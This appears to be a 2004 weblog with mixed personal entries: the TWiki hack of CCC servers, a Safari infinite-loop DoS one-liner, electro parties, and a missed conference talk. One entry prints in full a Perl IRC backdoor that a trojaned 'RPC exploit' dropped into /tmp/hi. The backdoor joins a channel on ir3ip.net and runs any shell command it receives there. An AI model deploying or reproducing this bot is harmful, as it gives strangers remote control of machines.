After reading this little post from “Der Schockwellenreiter” regarding the topic if “you need the right operation system” to avoid the nested array sort() loop Stack overflow exception mentioned at several sources, it came back to my mind, that Safari has a much easier “DoS”: javascript:while(1){}. Well, even worse, Safari doesn’t crash, but halts and consumes as much as CPU as possible after a while. Other browsers have some kind of tests, but on one or later point our later every browser so far will enter an infinite loop and render useless or crash.

Prom pointed me to the so called halting problem (1936, from Mr. Alan Turing). Today I learned something about computability theory and I got to understand, that those kinds of bugs are never going to be solved really.

Servers of the CCC and the CCCS got hacked a couple of days ago. An 0day for TWikis search.pm was used to perform this hack. The guys from Stuttgart released an “uncoordinated emergency disclosure” on bugtraq, vulnwatch and full disclosure, and the Common Vulnerabilities and Exposures project has assigned the name CAN-2004-1037 to this issue.

Some more interessting informations can be found on the site of Roman Medina-Heigl Hernandez, who claims to wrote the exploit back in September 2004: He put two textes of his view to the time line and the true story of the TWiki vuln onto his page.

The good side of this hack from my personal point of view is, that the CCC got rid of TWiki, which I personally totally dislike. And since the attacker erased all of the wiki content, we’ll hopefully have a brand new MediaWiki installation in the near future (probably after the 21C3).

Update: There is an official announcement of his hack (German only).

Enno died on Saturday, as noted in his weblog. A copy of his death certificate can be found here. Well, if he is able to write about his own death in his weblog, it’s probably not the whole truth. I also recognize him clicking the Barf this morning, so he’s alive and seems to be okay as far as I can tell, thank Eris.

Update: For some reasons the post doesn’t appear anymore on Ennos site.

This evening one of my favorite Electro/Booty musicians is gonna play in Leipzig, and I gonna miss it: DJ Godfather. I ‘ll also miss Bronco T. and Kulo 75, two of my favorite Ghetto Tech DJs.

This event is promoted by blackred, some very good old friends of mine. Most people will probably know them under their old name PACT. They are graphic artists who got boring by the parties going on in L.E.. So they started to promote their own ones with their favorite Electro. PACT / blackred are responsible i.e. for the NI cool package design, quite a number of record covers and outstanding flyer graphics. I personally also missed some other very interessting parties by blackred this year: DJ Assault, DMX Krew, Cylob, Detroit Grand Pubahs (yawn!) and a couple of others. At least I get all the tapes recorded at the parties, so I can enjoy the music at home. Well, it’s not the same like being on the parties in real life, but it’s better than nothing …

Update: In the meanwhile I recognized I also missed Luke Vibert today at Schleife 9. But in the meantime astro and me meet up at the “office”.

tizzy gave me a link to maxload.c, a “RPC Runtime Library Exploit”, which was supposed to compile and run from Linux. Ususally I have no need for those kinds of exploits, since I am not interessted in Windows at all, but I have been asked for a simple possibility to remotely shutdown XP, so I wanted to give that exploit a try. Unfortunatelly my Debian box has a hardware problem, so I handed the exploit over to my fellow c3d2 members in our silc channel.

astro was the first who was complaining about non-existance of some socket code, then a8 successfully compiled the source and got the following in /tmp/hi (formated for better reading)

#!/usr/bin/perl
$chan="#0x";
$nick="k";
$server="ir3ip.net";
$SIG{TERM}={};
exit if fork;
use IO::Socket;
$sock = IO::Socket::INET->new($server.":6667")||exit;
print $sock "USER k +i k :kv1\nNICK k\n";$i=1;
while(< $sock>=~/^[^ ]+ ([^ ]+) /){
    $mode=$1;
    last if $mode=="001";
    if($mode=="433"){
        $i++;$nick=~s/d*$/$i/;
        print $sock "NICK $nick\n";
    }
}
print $sock "JOIN $chan\n PRIVMSG $chan :Hi\n";
while(< $sock>){
    if(/^PING (.*)$/){
        print $sock "PONG $1\nJOIN $chan\n";
    }
    if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :w]*:[^ :w]* (.*)$/$1/){
        s/s*$//;
        $_=`$_`;
        foreach(split"\n"){
            print $sock "PRIVMSG $chan :$_n";
            sleep 1;
        }
    }
}
#/tmp/hi

r0b0 and a8 decided to make some similar funny “exploit” for the congress. It could be very funny to see, how many l33t haxx0rs would use it without recognizing what it’s going on. I like that idea. But anyways, a8 make a good point when he said it remembers him once again to be more careful.

A couple of weeks ago I got the acknowledgement, that my lecture about SILC at the PakCon 2004 was accepted. I was happy like a child, that I got the chance to speak there. The PakCon is a security conference in Karachi, Pakistan, and it takes place for the first time this year.

Then [fz], one of the organizers, sent me a mail the other day, that the date of the PakCon is at 22nd/23rd of December. Doh! That’s just a couple of days before the 21C3 starts. So since I’m deeply involved in this years congress (programme planing, conference team, coding the conference scheduling system) it is simply not possible to join the PakCon. Now I could cry like a child. How often will I get that possibility again? Well, maybe next year, but for now I am very sad. But as always, it also has a good side. It’s the main reason why I started to have a weblog: Putting all the bad things like that in the web and use it as a kind of lightning conductor, so I can concentrate on the work I have to do. At least I got a this nice sentence from Tim: “Now the co-worker-of-the-month-archivement is in your hand”. Hehe.

After thinking about starting to make my own blog, I tried different pieces of software. But I was always annoyed for some reasons: MTs license sucks, Bloxsom is a nice file-based blogger, but it has some strange plug-in voodoo I didn’t really came along with. I don’t even remember what else systems I tried, but I completly lost the delight of blogging somehow. Tim Pritlove pointed me to WordPress, which is used as the weblog system for the 21C3, the annual congress of the Chaos Computer Club. So lets see if I get something useful out of this, my propably last, blogging experiments.